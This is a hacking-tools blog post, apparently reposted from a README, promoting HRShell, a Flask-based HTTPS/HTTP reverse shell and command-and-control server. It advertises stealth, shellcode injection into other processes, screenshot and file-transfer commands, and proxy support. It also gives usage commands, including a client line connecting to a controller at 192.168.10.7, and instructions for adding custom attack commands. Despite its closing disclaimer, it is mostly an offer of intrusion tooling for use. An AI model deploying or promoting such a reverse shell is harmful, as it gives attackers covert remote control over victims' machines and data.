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HRShell : HTTPS/HTTP Reverse Shell Built With Flask

HRShell : HTTPS/HTTP Reverse Shell Built With Flask

By Admin •  2019-10-03T06:50:16.420Z •  Hacking Tools

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HRShell is an HTTPS/HTTP reverse shell built with flask. It is an advanced C2 server with many features & capabilities.

It is an HTTPS/HTTP reverse shell built with flask. It’s compatible with python 3.x and has been successfully tested on:

  • Linux ubuntu 18.04 LTS, Kali Linux 2019.3
  • macOS Mojave
  • Windows 7/10


Features:

  • It’s stealthy
  • TLS support 
    • Either using on-the-fly certificates or
    • By specifying a cert/key pair (more details below…)
  • Shellcode injection  (more details below…)
    • Either shellcode injection in a thread of the current running process
      • Platforms supported so far:
        • Windows x86
        • Unix x86
        • Unix x64
    • or shellcode injection into another process (migrate <PID>) by specifying its PID
      • Platforms supported so far:
        • Windows x86
        • Windows x64
  • Shellcode can be set/modified on the fly from the server (more details below…)
  • Proxy support on client.
  • Directory navigation (cd command and variants).
  • download/upload/screenshot commands available.
  • Pipelining (|) & chained commands (;) are supported
  • Support for every non-interactive (like gdb, top etc…) command
  • Server is both HTTP & HTTPS capable.
  • It comes with two built-in servers  so far… flask built-in & tornado-WSGI while it’s also compatible with other production servers like gunicorn and Nginx.
  • Both server.py and client.py are easily extensible.
  • Since the most functionality comes from server’s endpoint-design it’s very easy to write a client in any other language e.g. java, GO etc…

Details

TLS key

 Server-side: Unless –http option is specified, by default server.py is HTTPS using on-the-fly certificates, since on-the-fly certificates are a built-in flask-feature. But if -s tornado option is specified in order to make the server use TLS, a –cert and a –key option must be specified like so:

python server.py -s tornado –cert /path/cert.pem –key /path/key.pem

Either “real” certificates can be used or another way to generate a cert/key pair is using openssl like so:

openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

A cert/key pair can also be used with the flask-server:

python server.py –cert /path/cert.pem –key /path/key.pem

Note: If the server is using TLS, then by design the client can’t use http://... to connect to the server, but must explicitly use https instead.

Client-side: By default client’s SSL verification is disabled, unless:

  • either the –cert parameter is specified e.g.:
python client.py -s https://192.168.10.7:5000 –cert /path/cert.pem
  • or the CERT variable, instead of the default None value is set beforehand with a valid certificate e.g.:
CERT = “””
 —–BEGIN CERTIFICATE—–
 MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
 BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
 VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
 …
 —–END CERTIFICATE—–
 “””

In this case client.py will attempt to create a hidden .cert.pem file on the fly and will use that instead.

Shellcode Injection 

There are two “modes” of shellcode injection using the two following commands respectively:

  1. migrate <PID>: Using this command we can inject shellcode into the memory space of another process by specifying its PID. For now this command can only be applied at Windows x86/x64 platforms!

2. inject shellcode: Using this command a new thread of our current process is created and the shellcode injection occurs in its memory space. As a result our HTTP(S) shell is not affected by the injection. The platforms where this command can be applied are: Unix x86/x64, Windows x86 platforms!

Notes: In case the injection happens on a process, then process-permissions play a very important role. It’s not always possible to inject on any process due to lack of appropriate privileges.

Set/Modify shellcode

There are two ways you can specify/set what type of shellcode you want the client to execute:

  • Either pre-set shellcode variable on client.py script to be a valid shellcode or
  • Use the set shellcode <shellcode-id> command to do that on the fly. With this command you can update your shellcode on client-side from server-side as many times as you like!

The first way is pretty straight forward. However in order to use the second and more convenient way (since you can also modify an already specified shellcode) you have to set shellcodes/utils.py script such that it contains the shellcode(s) of your choise. The script contains an example of how you can do that.

You can modify/update shellcodes/utils.py script even after you’ve launched server.py as many times as you want, since server.py will dynamically use the most updated/recent version. In this way you can set & modify shellcodes on the go…

Available commands: Special commands

Any other command is supported if it’s not interactive like e.g. gdb, top etc… Also by typing python server.py -h or python client.py -h you can get information the server and client available arguments.

Note: If a client is connected with the server and we want to terminate the server, before press CTRL+C, we have to close the connection using the exit command.

Creating custom commands

Client-side:

In order to create a custom command, generally:

  • a regex rule that describes the command must be defined on client-side
  • the code to handle that command must be added as an elif statement also on client-side.

Server-side:

If the command demands the existence of a new-endpoint on server-side, then:

  • to define the endpoint:
@app.route(‘/custom_endpoint/’)
 def custom_endpoint(arg):
 “””
 documentation if needed
 “””
 …
 return …
  • then edit handleGET() to redirect the client to that endpoint:
@app.route(‘/’)
 def handleGET():
 …
 return redirect(url_for(‘custom_endpoint’,
 arg=…)
 )
  • do the appropriate edits in handlePOST() to handle the presentation of the results.

Script-Arguments

Both scripts (server.py and client.py) can be customized through arguments:

server.py

$ python server.py -h
 usage: server.py [-h] [-s] [-c] [–host] [-p] [–http] [–cert] [–key]

 server.py: An HTTP(S) reverse-shell server with advanced features.

 arguments:
 -h, –help show this help message and exit
 -s , –server Specify the HTTP(S) server to use (default: flask).
 -c , –client Accept connections only from the specified client/IP.
 –host Specify the IP to use (default: 0.0.0.0).
 -p , –port Specify a port to use (default: 5000).
 –http Disable TLS and use HTTP instead.
 –cert Specify a certificate to use (default: None).
 –key Specify the corresponding private key to use (default: None).

client.py

$ python client.py -h
 usage: client.py [-h] [-s] [-c] [-p]

 client.py: An HTTP(S) client with advanced features.

 arguments:
 -h, –help show this help message and exit
 -s , –server Specify an HTTP(S) server to connect to.
 -c , –cert Specify a certificate to use.
 -p , –proxy Specify a proxy to use [form: host:port]

Requirements:

To install the server-requirements:

pip install -r requirements.txt –upgrade –user

Disclaimer

This tool is only for testing and academic purposes and can only be used where strict consent has been given. Do not use it for illegal purposes! It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this tool and software in general.

Credits : Seitz J. Gray Hat Python

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